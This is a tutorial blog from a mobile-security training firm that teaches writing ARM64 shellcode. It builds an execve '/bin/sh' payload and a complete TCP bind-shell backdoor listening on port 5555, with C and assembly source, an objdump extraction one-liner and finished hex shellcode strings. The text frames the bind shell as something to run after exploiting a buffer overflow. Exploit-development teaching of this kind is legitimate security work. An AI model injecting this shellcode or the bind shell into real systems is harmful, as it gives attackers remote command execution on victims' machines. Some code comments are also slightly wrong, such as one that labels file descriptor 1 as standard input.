In this blog, we will be looking into writing ARM64 shellcodes. After reading this blog, you will get a good understanding of writing shellcodes for ARM64.
What’s a shellcode?
A Shellcode is simply a sequence of machine code or executable instructions designed to be injected into a computer’s memory to gain control over a running program. It can be used to exploit vulnerabilities like buffer overflows and gain unauthorized access to a target system. Shellcode is also used for various purposes like evasion and anti-analysis techniques.
Shellcodes can be written in programming languages like C or C++ but it would be more apt to write shellcodes in assembly language because assembly gives more flexibility and we can have more control over the bytes. In this case, we will use ARM64 assembly for generating the shellcode.
Prerequisites
- Familiarity with ARM64 instructions.
- Should have some basic knowledge of C programming.
- Should have a working ARM64 environment.
We will be using the AARCH64 Ubuntu QEMU image from Hugsy. You can get it from here.
if you don’t have the above mentioned prerequisites, you can go through our ARM64 Exploitation series.
Hello world in ARM64
Let’s write some assembly code. It is better to faster to learn things by doing them.
Before that, There are some things to keep in your mind while writing assembly code.
- Calling convention in ARM64
- The first 8 arguments should be passed from x0 to x7 registers.
- The syscall number should be specified in the x8 register.
- Try to minimize null bytes as much as possible.
- The return value of the function will be stored in the x0 register.
First things first, what is a syscall ?
Syscall stands for System Call. When a user-level program needs to perform some privileged operations or requires access to certain system resources that are not directly accessible, it makes a request to the kernel through a system call. System calls are a set of APIs or library functions provided by the Operating systems so that programmers use these APIs to interact with the kernel. For example, for printing something on the screen we can use the write()
syscall. The syscall in arm64 is done using svc (Supervisor Call) instruction. The different syscalls are identified through a unique number by the operating system. This number is called syscall number. In ARM64 while using the syscalls the syscall number should be placed in the x8 register.th
mov x8, #93 // Example of exit syscall
svc 0
Usually, the number is ignored by the kernel so it’s not significant.
Let’s see the basic code template of an ARM64 assembly program.
.global _start
.section .text
_start:
.section .data
Let’s go through each of these.
.global _start
- This line declares the symbol
_start
as global._start
is the entry point of the program. By declaring_start
as a global symbol, it allows other parts of the program to reference and use this symbol.
- This line declares the symbol
section .text
- This line declares that the specified code belongs to the
.text
section.
- This line declares that the specified code belongs to the
_start:
- This line marks the start of the code section. The symbol
_start
is used as the entry point of the program. This is where we write our assembly instructions.
- This line marks the start of the code section. The symbol
.section .data
- This line indicates that the following code or data belongs to the
.data
section. The.data
section is used to store initialized global and static variables.
- This line indicates that the following code or data belongs to the
We can also see that these sections are defined by using the .section
symbol.
The next step is to look for the things that we require in the program for printing Hello world.
For printing something on the screen we require the write()
syscall. So we need the syscall number for write. The next thing, we have to do is to define a label that holds the Hello world string in our assembly program. We can define this string in the .data
section.
Firstly let’s get the syscall number for write()
. We can easily get these syscall numbers using the sources below.
Let’s see the syscall number for write.
So the syscall number for write is 64.
There are also three arguments for write. So,
- x0 : should contain the file descriptor value.
- x1 : should point to the Hello world string for output.
- x2 : should contain the number of characters to output.
So what is a file descriptor and what should be its value here?
The file descriptor is a unique identifier used by an operating system to access a file or a stream of data. In Unix-like systems, there are three standard file descriptors available.
File Descriptor | Description |
---|---|
0 | Represents standard input. This can be used to receive input from the user |
1 | Represents standard output. This can be used to output data on the screen |
2 | Represents standard error. This can be used to output error messages |
For printing Hello world on the screen we should use the fd value of 1. So we should put his value in x0.
Let’s start writing our assembly code.
First let’s define our label for holding the Hello world string. we can define the label name as msg and use .ascii
to define our string as ascii.
.global _start
.section .text
_start:
.section .data
msg:
.ascii "Hello world\n"
Let’s start adding the syscall number in x8 and the svc
instruction.
The syscall number for write() is 64. So this should be copied into the x8. For this we can use the mov instruction. For non-hex values integer values, we can represent them using the #
symbol.
.global _start
.section .text
_start:
mov x8,#64 //Syscall number for write
svc 0 // Supervisor call
.section .data
msg:
.ascii "Hello world\n"
Now let’s add the arguments of write. We can use the mov
instruction to copy the values to x1 and x2. As x1 should contain a pointer to the string we can either use the ldr
or the adr
instruction.
.global _start
.section .text
_start:
mov x0,#1 //Fd for standard input
ldr x1,=msg // Pointer to the Hello world string
mov x2,#12 // The number of characters in the "hello world" string
mov x8,#64 //Syscall number for write
svc 0 // Supervisor call
.section .data
msg:
.ascii "Hello world\n"
There is one more thing to add to this. After writing our string to the screen. We should also exit the syscall to terminate the process after printing our string. Let’s find the syscall number of exit()
syscall and add that.
So the syscall number of exit is 93 and it also has an argument which is the error_code. For the error_code we can specify the value of our choice. Let’s specify that as 1.
Let’s update our assembly code.
.global _start
.section .text
_start:
mov x0,#1 //Fd for standard input
ldr x1,=msg // Pointer to the Hello world string
mov x2,#12 // The number of characters in the "hello world" string
mov x8,#64 //Syscall number for write
svc 0 // Supervisor call
mov x8,#93 //Syscall number for exit
svc 0 // Supervisor call
.section .data
msg:
.ascii "Hello world\n"
Let’s assemble and link this.
as -o
ld -o
Let’s run this and check if this works.
It’s working !!!. We can see our Hello world string printed on our screen.
Execve() shellcode
So we are done with our Hello world assembly program. Let’s create the shellcode this time.
We will be creating a shellcode to spawn a /bin/sh
shell. For this, we can use the execve()
syscall. So what’s the purpose of execve()
syscall?
It can be used to create and execute a new process. When the execve()
syscall is called it will replace the current process with the specified program, and the new program starts execution from its entry point. if you ever used the system() function in C to execute system commands. We can see that it will be using the execve
syscall.
Let’s see an example program that uses the system()
function to spawn a shell.
#include
void main(){
system("/bin/sh");
}
Compile this using gcc.
gcc system.c -o system
Let’s run the program to see if it’s working.
Let’s use the strace command to see what are the syscalls this program is using.
We can see that it’s using execve()
syscall.
Let’s look into the execve()
syscall number and its arguments.
The syscall number for execve is 221. so x8 should contain 221.
There are three arguments for the execve()
syscall. So we should use the first three registers (x0 to x2) for passing the parameters
- x0: should contain the name or path of the program we want to execute. In this case, we should load x0 with the
/bin/sh
string because the path of the program to execute is/bin/sh
. - x1: should contain the array of strings containing the command-line arguments to be passed to the new program. As we don’t have any arguments here we can specify zero.
- x2: should the array of strings contain the environment variables for the new program. We can also specify zero here as we don’t require any environment variables.
Now let’s try creating an assembly program for spawning a shell using execve()
syscall.
//A simple assembly program to spawn a "/bin/sh" shell using execve
// execve("/bin/sh",0,0)
.global _start
.section .text
_start:
ldr x0,=shell // first argument to execve
mov x1,#0 // second argument to execve
mov x2,#0 // third argument to execve
mov x8,#221 // syscall numberto execve
svc 0 // syscall
.section .data
shell:
.ascii "/bin/sh\0" // The path of the program as a null terminated string
Let’s assemble and link this.
as execve.s -o execve.o
ld execve.o -o execve.elf
Let’s try running this.
It works fine as expected.
We don’t have much use for the assembly program. We specifically need the shellcode. Therefore, let’s attempt to extract the shellcode from this program using the below-provided regex.
echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""
The extracted shellcode is :
"\x58\x00\x00\xc0\xd2\x80\x00\x01\xd2\x80\x00\x02\xd2\x80\x1b\xa8\xd4\x00\x00\x01\x00\x00\x00\x00\x00\x41\x00\xd0\x00\x00\x00\x00"
But if you look at the shellcode there are a lot of null bytes (“\x00”).
We can use some of the strategies below to reduce the null bytes.
- Use the xzr register instead of hardcoding the value zero.
- In the case of
svc
instruction use a value that doesn’t contain null bytes. For example :0x1337
. - Use
adr
instruction ofldr
.
Let’s rewrite our assembly code and see how this goes.
//A simple assembly program to spawn a "/bin/sh" shell using execve
// execve("/bin/sh",0,0)
.global _start
.section .text
_start:
adr x0,shell // first argument to execve
mov x1,xzr // second argument to execve
mov x2,xzr // third argument to execve
mov x8,#221 // syscall numberto execve
svc #0x1337 // syscall
.section .data
shell:
.ascii "/bin/sh\0" // The path of the program as a null terminated string
Assemble and link this
as execve.s -o execve.o
ld execve.o -o execve.elf
Now let’s check if the program is working properly.
Let’s now extract the shellcode.
"\x10\x08\x00\xa0\xaa\x1f\x03\xe1\xaa\x1f\x03\xe2\xd2\x80\x1b\xa8\xd4\x02\x66\xe1"
If we compare this shellcode to the above one, we can see that it is a lot smaller and also have only one null byte.
Bind shell shellcode
Let’s try working on creating a shellcode for the bind shell.
First of all, what is a bind shell?
A bind shell is a type of backdoor that enables an attacker to establish a connection with a system and execute commands. In a bind shell, the attacker can open a port on either the compromised system or the target system. The target machine listens on a specific port and establishes a connection with the attacker, allowing them to gain a shell and execute arbitrary commands. After exploiting a vulnerability, such as a buffer overflow in a system, we can attempt to execute the bind shell shellcode, making it easier to obtain a shell.
As mentioned earlier, when working with assembly, it is beneficial to obtain a rough blueprint of the assembly program using a C program. We can analyze the disassembly, trace the program, and perform other techniques to gain a better understanding.
Let’s start by writing the process for creating a bind shell in c.
- Create a new TCP socket.
- Use the
socket()
function.
- Use the
- Binding the socket to a specific port
- Use the
bind()
function.
- Use the
- Listening for incoming connections
- Use the
listen()
function.
- Use the
- Accepting the incoming connection
- Use the
accept()
function.
- Use the
- Redirecting the STDIN, STDOUT and STDERR to a newly created socket
- Use the
dup3()
function as dup2 is not available in ARM64.
- Use the
- Spawning the shell
- Use the
execve()
function.
- Use the
Now let’s try writing the C program.
First, let’s start with the required header files.
#include #contains input and output functions
#include #contains various data types used in system calls
#include #contains definitions and structures for socket-related functions
#include #contains structures for working with Internet addresses and network operations
Let’s now create a TCP socket.
There are three arguments for socket function.
socket(AF_INET, SOCK_STREAM, 0);
- AF_INET :
AF_INET
Stands for Address Family Internet. It can be used to create an IPV4socket. - SOCK_STREAM : This parameter specifies the type of socket, which is a stream socket.
SOCK_STREAM
provides a reliable, connection-based byte stream using TCP. - 0 : For the last parameter we can specify zero. It indicates that the operating system should automatically choose the appropriate protocol based on the specified address family and socket type
#include
#include
#include
#include
int sock; // socket file descriptor
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
}
Let’s create a structure variable using the sockaddr_in
structure. This structure variable can be used to store the data for an IPv4 socket address, which includes the address family, port, and IP address.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
}
Now let’s use this host_adr
structure variable to set the address family, port, and IP address.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
host_adr.sin_family = AF_INET; // server socket type address family,represents the IPv4 socket
host_adr.sin_port = htons(5555); // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order
}
Next, Let’s look into the bind()
function.
The bind()
function requires three parameters.
sockfd
: This is the socket file descriptor. It represents the socket that will be bound to the address and port.addr
: This is a pointer to astruct sockaddr
type that holds the address and port information.addrlen
: This parameter specifies the size of the address structure pointed to byaddr
. It should be set tosizeof(struct sockaddr_in)
orsizeof(struct sockaddr_in6)
based on the address family.
Let’s update the C program and include the bind()
function.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
host_adr.sin_family = AF_INET; // server socket type address family,represents the IPv4 socket
host_adr.sin_port = htons(5555); // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
}
Next let’s look briefly into the listen()
function.
sockfd
: This is the same socket file descriptor that is used in thebind()
function.backlog
: This parameter specifies the maximum number of pending connections that the socket’s listen queue can hold. We can specify2
here.
Let’s update the program again.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
host_adr.sin_family = AF_INET; // server socket type address family,represents the IPv4 socket
host_adr.sin_port = htons(5555); // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
}
Next thing is to add the accept() function. Let’s also look into the accept()
function.
sockfd
: This is the same socket file descriptor used in the above functions.addr
: This is a pointer to astruct sockaddr
type. We are not interested in the client’s address, so we can passNULL
.addrlen
: This parameter is a pointer to asocklen_t
type variable. We can also specifyNULL
here.
We also need a variable that will hold the new socket descriptor created by the accept() function. It represents the socket descriptor specific to the accepted connection. We will be using this socket descriptor in the dup3()
function to redirect the standard input, output, and error.
Let’s add the accept()
function.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
int newsock_fd; // client socket fd for use in dup3()
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
host_adr.sin_family = AF_INET; // server socket type address family,represents the IPv4 socket
host_adr.sin_port = htons(5555); // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection
}
Next, let’s look into the dup3()
function and its parameters.
The dup3()
function in C is used to duplicate a file descriptor while allowing the value of the new descriptor to be specified.
Let’s look at its arguments.
oldfd
: This is the file descriptor to be duplicated.newfd
: This is the file descriptor to be used as the duplicate. Ifnewfd
is already a valid open file descriptor, it is closed before being reused as a duplicate.flags
: This parameter allows you to specify additional flags for the new file descriptor. It can be a bitwise OR a combination of the following constants:
For the values of standard input, output, and error we can use the below table
File Descriptor | Description |
---|---|
0 | Represents standard input. This can be used to receive input from the user |
1 | Represents standard output. This can be used to output data on the screen |
2 | Represents standard error. This can be used to output error messages |
Let’s update the program again.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
int newsock_fd; // client socket fd for use in dup3()
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
host_adr.sin_family = AF_INET; // server socket type address family,represents the IPv4 socket
host_adr.sin_port = htons(5555); // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection
dup3(newsock_fd, 0, 0); //dup3 standard input
dup3(newsock_fd, 1, 0); //dup3 standard output
dup3(newsock_fd, 2, 0); //dup3 standard error
}
Finally let’s add the execve()
call to spawn the /bin/sh
shell.
#include
#include
#include
#include
int sock; // socket file descriptor
struct sockaddr_in host_adr; // listen address
int newsock_fd; // client socket fd for use in dup3()
void main()
{
// Create a new TCP socket
sock = socket(PF_INET, SOCK_STREAM, 0);
host_adr.sin_family = AF_INET; // server socket type address family,represents the IPv4 socket
host_adr.sin_port = htons(5555); // server port, htons() convert the port number to network byte order,
host_adr.sin_addr.s_addr = htonl(INADDR_ANY); // listen to any address, htonl() convertsIP address to network byte order
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); // Binding the socket to the ip and port
listen(sock, 2); // Listening for incoming connections
newsock_fd = accept(sock, 0, 0); // For Accepting incoming connection
dup3(newsock_fd, 0, 0); //dup3 standard input
dup3(newsock_fd, 1, 0); //dup3 standard output
dup3(newsock_fd, 2, 0); //dup3 standard error
execve("/bin/sh", 0, 0); //Spawns the /bin/sh shell
}
Let’s now compile this using gcc.
gcc bindshell-0x1.c -o bindshell-0x1
Let’s now run and check if the program works.
We can use netcat to connect to the bind shell. Use the command below
Wonderful!. Our program is working fine. We can execute arbitrary commands now.
Let’s use the strace command to trace the program and gain a better understanding of the underlying syscalls it uses. This is crucial because it will serve as a blueprint for writing the assembly program to generate the shellcode.
The yellow marked portion in the screenshot is the important syscalls that we will use in our shellcode.
We can also filter out the other syscalls and focus on only the important syscalls using strace.
strace -e
Also, keep in mind that the values printed after the =
sign represent the return values of the functions.
The next step is to figure out the syscall numbers for the socket()
, bind()
, listen()
, accept()
,dup3()
, and execve()
. We can use this again for finding the syscall numbers.
To make the process easier for you, we already found all the syscall numbers for the above syscalls.
syscall | syscall number |
---|---|
socket() | 198 |
bind() | 200 |
listen() | 201 |
accept() | 202 |
dup3() | 24 |
execve() | 221 |
First, let’s start the socket()
syscall. In the above C bind shell program we used the socket() function, correct? If we look at it again. It has three parameters.
sock = socket(PF_INET, SOCK_STREAM, 0);
For writing the shellcode, we must find the numbers for these arguments. We can find this in their corresponding header files.
#define SOCK_STREAM 1
#define AF_INET 2 /* Internet IP Protocol */
So we can use 2 and 1 instead of PF_INET and SOCK_STREAM. In conclusion :
- x0 : should contain the value
2
. - x1 : should contain the value
1
. - x2 : should contain the value
0
. - x8 : should contain the value
198
.
Let’s start writing the assembly.
.global _start
.section .text
_start:
mov x0,#2 // socket(2, 1, 0)
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
.section .data
There is one more step to do here. As we know, after the syscall to the socket()
function, it will return a file descriptor which will be used in the next syscalls. So, we must preserve this return value(file descriptor) in another register so that we can reuse it in other syscalls. In these situations, use a register that won’t be overwritten by other value. So let’s add that.
.global _start
.section .text
_start:
mov x0,#2 // socket(2, 1, 0)
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
.section .data
Next, let’s add the bind()
function. Before that, let’s look at the bind()
function once again.
bind(sock, (struct sockaddr*) &host_adr, sizeof(host_adr)); //From the above c program for bind shell.
The first argument sock
should contain the socket file descriptor. The return value of the socket()
syscall is the socket file descriptor. As the return value is stored in the x0 after the socket()
syscall, we can just reuse that in the bind()
syscall.
The second argument is the address of the structure. Let’s examine the structure.
struct sockaddr_in {
short int sin_family; // Address family (e.g., AF_INET)
unsigned short int sin_port; // Port number in network byte order
struct in_addr sin_addr; // IP address in network byte order
unsigned char sin_zero[8]; // Padding to make it the same size as struct sockaddr
};
Let’s also look at the size of these structure members.
sin_family
: 2 bytessin_port
: 2 bytessin_addr
: 4 bytessin_zero
: 8 bytes
We should define a label in the .data
section of our program and add the values of the first three members of the structure. We can ignore the last one as it’s just padding. Let’s do that.
.global _start
.section .text
_start:
mov x0,#2 // socket(2, 1, 0)
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
.section .data
sockadr:
.byte 0x02, 0x00 // AF_INET : 2 bytes
.byte 0x15, 0xb3 // sin_port : 5555 : 2 bytes
.word 0x00000000 // ip address: 0.0.0.0 : 4 bytes
Now let’s add the code for the bind()
syscall.
- x0 : already contains the socket fd. So we don’t have to change x0.
- x1 : should contain the address of the sockadr structure variable. For this, we can use the
ldr
or theadr
instruction. But we should useadr
because theadr
instruction has fewer null bytes. - x2 : should contain the size of the sockadr structure variable. The size is 16 bytes (2 + 2 + 4 + 8) .
- x8 : should contain the value
200
.
.global _start
.section .text
_start:
// socket(2, 1, 0)
mov x0,#2
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
// bind(x0, &sockadr, 16), x0 = socket fd
adr x1,sockadr //address of the struct
mov x2,#16 //size
mov x8,#200 //syscall number for bind
svc #0x1337
.section .data
sockadr:
.byte 0x02, 0x00 // AF_INET : 2 bytes
.byte 0x15, 0xb3 // sin_port : 5555 : 2 bytes
.word 0x00000000 // ip address: 0.0.0.0 : 4 bytes
Next, we should add the listen()
function.
int listen(int sockfd, int backlog);
- x0 : should contain the socket file descriptor (fd), as x0 is overwritten with the new return value from the
bind()
syscall. We can use the register x4, which contains the preserved socket fd from thesocket()
syscall, and copy it back to x0 again. - x1 : should contain the value
2
. - x8 : should contain the value
201
.
.global _start
.section .text
_start:
// socket(2, 1, 0)
mov x0,#2
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
// bind(sock, &sockadr, 16), x0 = sock
adr x1,sockadr //address of the struct
mov x2,#16 //size
mov x8,#200 //syscall number for bind
svc #0x1337
//listen(sock,0) , x0 = sock
mov x0,x4 //sock
mov x1,#2 //backlog
mov x8,#201 //syscall number for listen syscall
svc #0x1337
.section .data
sockadr:
.byte 0x02, 0x00 // AF_INET : 2 bytes
.byte 0x15, 0xb3 // sin_port : 5555 : 2 bytes
.word 0x00000000 // ip address: 0.0.0.0 : 4 bytes
Next, let’s add the accept function.
accept(sock, NULL, NULL)
- x0 : should contain the socket file descriptor. We will copying this from the x4 register.
- x1 : should contain the value
0
. - x2 : should contain the value
0
. - x8 : should contain the value
202
.
We also need to save the new file descriptor (fd) returned from the accept()
syscall. This new fd will be used in the dup3()
calls.
.global _start
.section .text
_start:
// socket(2, 1, 0)
mov x0,#2
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
// bind(sock, &sockadr, 16), x0 = sock
adr x1,sockadr //address of the struct
mov x2,#16 //size
mov x8,#200 //syscall number for bind
svc #0x1337
//listen(sock,0) , x0 = sock
mov x0,x4 //sock fd
mov x1,#2 //backlog
mov x8,#201 //syscall number for listen syscall
svc #0x1337
//accept(sock, 0, 0)
mov x0,x4 // sock fd
mov x1,xzr
mov x2,xzr
mov x8,#202 //syscall for accept syscall
svc #0x1337
mov x4,x0 // saving the fd returned from the accept syscall
.section .data
sockadr:
.byte 0x02, 0x00 // AF_INET : 2 bytes
.byte 0x15, 0xb3 // sin_port : 5555 : 2 bytes
.word 0x00000000 // ip address: 0.0.0.0 : 4 byte
Let’s now add the dup3()
syscalls for standard input, output and error.
dup3(newsock_fd, 0, 0); //dup3 standard input
dup3(newsock_fd, 1, 0); //dup3 standard output
dup3(newsock_fd, 2, 0); //dup3 standard error
- x0 : should contain the new file descriptor. This can be copied from the x4 register. For the first call x0 will contain the new fd.
- x1 : should be changed in each call according to the standard input, output and error.
- x2 : should contain the value
0
. - x8 : should contain the value
24
.
.global _start
.section .text
_start:
// socket(2, 1, 0)
mov x0,#2
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
// bind(sock, &sockadr, 16), x0 = sock
adr x1,sockadr //address of the struct
mov x2,#16 //size
mov x8,#200 //syscall number for bind
svc #0x1337
//listen(sock,0) , x0 = sock
mov x0,x4 //sock fd
mov x1,#2 //backlog
mov x8,#201 //syscall number for listen syscall
svc #0x1337
//accept(sock, 0, 0)
mov x0,x4 // sock fd
mov x1,xzr
mov x2,xzr
mov x8,#202 //syscall number for accept syscall
svc #0x1337
mov x4,x0 // saving the fd returned from the accept syscall
// dup3(newsock_fd, 0, 0); //dup3 standard input
mov x8,#24 // syscall number for dup3
svc #0x1337
// dup3(newsock_fd, 1, 0); //dup3 standard output
mov x0,x4 //new file descriptor
mov x1,#1 //standard output
svc #0x1337 // x8 already contains the syscall number so we don't need to assign it again
//dup3(newsock_fd, 2, 0); //dup3 standard error
mov x0,x4
mov x1, #2 // standard error
svc #0x1337 // x8 already contains the syscall number so we don't need to assign it again
.section .data
sockadr:
.byte 0x02, 0x00 // AF_INET : 2 bytes
.byte 0x15, 0xb3 // sin_port : 5555 : 2 bytes
.word 0x00000000 // ip address: 0.0.0.0 : 4 byte
The only thing remaining now is the execve()
syscall. We are already familiar with how to use the execve()
syscall to spawn a /bin/sh
shell. Let’s add that and finish our program.
.global _start
.section .text
_start:
// socket(2, 1, 0)
mov x0,#2
mov x1,#1
mov x2,xzr
mov x8,#198 //syscall number for socket
svc #0x1337 //syscall to socket
mov x4,x0 // To preserve the fd from the socket syscall
// bind(sock, &sockadr, 16), x0 = sock
adr x1,sockadr //address of the struct
mov x2,#16 //size
mov x8,#200 //syscall number for bind
svc #0x1337
//listen(sock,0) , x0 = sock
mov x0,x4 //sock fd
mov x1,#2 //backlog
mov x8,#201 //syscall number for listen syscall
svc #0x1337
//accept(sock, 0, 0)
mov x0,x4 // sock fd
mov x1,xzr
mov x2,xzr
mov x8,#202 //syscall number for accept syscall
svc #0x1337
mov x4,x0 // saving the fd returned from the accept syscall
// dup3(newsock_fd, 0, 0); //dup3 standard input
mov x8,#24 // syscall number for dup3
svc #0x1337
// dup3(newsock_fd, 1, 0); //dup3 standard output
mov x0,x4 //new file descriptor
mov x1,#1 //standard output
svc #0x1337 // x8 already contains the syscall number so we don't need to assign it again
//dup3(newsock_fd, 2, 0); //dup3 standard error
mov x0,x4
mov x1, #2
svc #0x1337 // x8 already contains the syscall number so we don't need to assign it again
adr x0,shell // first argument to execve
mov x1,xzr // second argument to execve, third argunment is in x2. x2 is already 0.
mov x8,#221 // syscall numberto execve
svc #0x1337 // syscall
.section .data
sockadr:
.byte 0x02, 0x00 // AF_INET : 2 bytes
.byte 0x15, 0xb3 // sin_port : 5555 : 2 bytes
.word 0x00000000 // ip address: 0.0.0.0 : 4 byte
shell:
.ascii "/bin/sh\0"
Let’s assemble and link this.
Now let’s try running this and check if the program is working.
Our assembly program is working fine.
Let’s now extract the shellcode using the below regex.
echo "\"$(objdump -d BINARY | grep '[0-9a-f]:' | cut -d$'\t' -f2 | grep -v 'file' | tr -d " \n" | sed 's/../\\x&/g')\""
And the final shellcode is :
"\xd2\x80\x00\x40\xd2\x80\x00\x21\xaa\x1f\x03\xe2\xd2\x80\x18\xc8\xd4\x02\x66\xe1\xaa\x00\x03\xe4\x10\x08\x03\x41\xd2\x80\x02\x02\xd2\x80\x19\x08\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x41\xd2\x80\x19\x28\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xaa\x1f\x03\xe1\xaa\x1f\x03\xe2\xd2\x80\x19\x48\xd4\x02\x66\xe1\xaa\x00\x03\xe4\xd2\x80\x03\x08\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x21\xd4\x02\x66\xe1\xaa\x04\x03\xe0\xd2\x80\x00\x41\xd4\x02\x66\xe1\x10\x08\x00\xc0\xaa\x1f\x03\xe1\xd2\x80\x1b\xa8\xd4\x02\x66\xe1"
References
- https://www.unix.com/man-page/freebsd/3/dup3/
- https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/
- https://azeria-labs.com/writing-arm-shellcode/
- https://www.youtube.com/watch?v=H1OB1k4JxhA
Looking to elevate your expertise in Mobile Security?
Offensive Mobile Reversing and Exploitation Course
365 Days of Access | Hands-On Learning | Self-Paced Training
GET IN TOUCH
Visit our training page if you’re interested in learning more about these techniques and developing your abilities further. Additionally, you may look through our Events page and sign up for our upcoming Public trainings.
Check out our Certifications Program and get Certified today.
Please don’t hesitate to reach out to us through out Contact Us page or through the Button below if you have any questions or need assistance with Penetration Testing or any other Security-related Services. We will answer in a timely manner within 1 business day.
We are always looking for talented people to join our team. Visit out Careers page to look at the available roles. We would love to hear from you.